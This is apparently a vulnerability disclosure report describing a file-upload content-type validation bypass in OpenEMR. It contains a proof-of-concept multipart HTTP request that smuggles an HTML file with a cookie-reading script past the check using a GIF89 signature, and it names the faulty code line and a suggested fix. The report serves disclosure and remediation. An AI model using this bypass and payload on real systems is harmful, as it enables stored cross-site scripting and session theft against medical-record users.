File Upload Type Validation Error in openemr/openemr
Reported on
Oct 7th 2022
Description
The upload functionality does not properly validate the file content-type, allowing any authenticated user to bypass this security check by adding a valid signature (p.e. GIF89) and sending any invalid content-type. This could allow an authenticated attacker to upload HTML files with JS content that will be executed in the context of the domain.
Proof of Concept
The following request was modified to allow uploading HTML file using a valid GIF signature, but can be modified to upload any kind of content-type:
POST /openemr/controller.php?document&upload&patient_id=00&parent_id=1& HTTP/1.1
Host: REDACTED
(...snip...)
Upgrade-Insecure-Requests: 1
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="MAX_FILE_SIZE"
64000000
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="file[]"; filename="1111.txt"
Content-Type: text/html
GIF89<script>alert(document.cookie);</script>
-----------------------------139184551113566022282519832587
Content-Disposition: form-data; name="dicom_folder[]"; filename=""
Content-Type: application/octet-stream
(...snip...)
-----------------------------139184551113566022282519832587--
The security checks where implemented using the mime_content_type
function, but if it pass that filter, the file content-type
was always stored as-is.
Impact
This could allow an attacker to write custom pages that will be shown in the context openemr domain. Those pages can contain phising html or even JS code that will be executed in the context of the active user browser.
Occurrences
C_Document.class.php L297
In that line was stored the mimetype as sent. One of the solutions could be return the mimetype returned by isWhiteFile
function.